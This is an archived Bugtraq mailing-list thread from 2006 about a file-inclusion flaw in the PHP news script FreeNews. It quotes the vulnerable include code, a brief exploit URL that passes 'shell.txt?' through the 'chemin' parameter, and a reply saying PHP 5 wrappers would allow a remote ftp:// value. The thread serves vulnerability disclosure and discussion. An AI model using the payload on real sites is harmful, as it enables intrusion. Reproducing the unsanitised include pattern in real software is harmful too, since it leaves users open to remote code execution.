Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: freenews---> fileinclude
From: pokley <pokleyzz () scan-associates net>
Date: Tue, 31 Oct 2006 18:22:25 +0800

In PHP 5.x file_exists function have support for Protocols/Wrappers .
So setting $chemin to ftp://blablablab.com/ will work in this case

On Tue, 31 Oct 2006 05:18:58 +0800, Tamriel <tamriel () gmx net> wrote:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

I would quote the whole code arround the includes, like:

[...]
if (file_exists("./".$chemin."/config.php")){
    include ("$chemin/config.php");
    include ("$chemin/options.inc.php");
    include ("$chemin/freenews_functions.inc.php");
}
[...]

You could only include files on the same server, not remote and not a
shell.txt.


MoHaNdKo wrote:
########################################################
#
#freenews---> fileinclude
###############################
#
#include ("$chemin/config.php");
#include ("$chemin/functions.inc.php");
#include ("$chemin/options.inc.php");
#******************************************
#name: MoHaNdKo
#E-mail : xp1o () msn com
#
#
#********************
#exploit:
#            www.****.com/path/aff_news.php?chemin=shell.txt?           
#
#
#********************
#Greatz:
#         www.xp10.com & www.d4eg.org & www.dmazika.org
#
#                             www.tryag.com



-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (MingW32)

iD8DBQFFRmxCqBhP+Twks7oRCqoAAJ9YaqJn7Mdptjgc17uIV76Qcy5eVwCfRNpf
DmmJNRb3gp/R32Dq8dINQks=
=BGMI
-----END PGP SIGNATURE-----




--
Using Opera's revolutionary e-mail client: http://www.opera.com/m2/


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault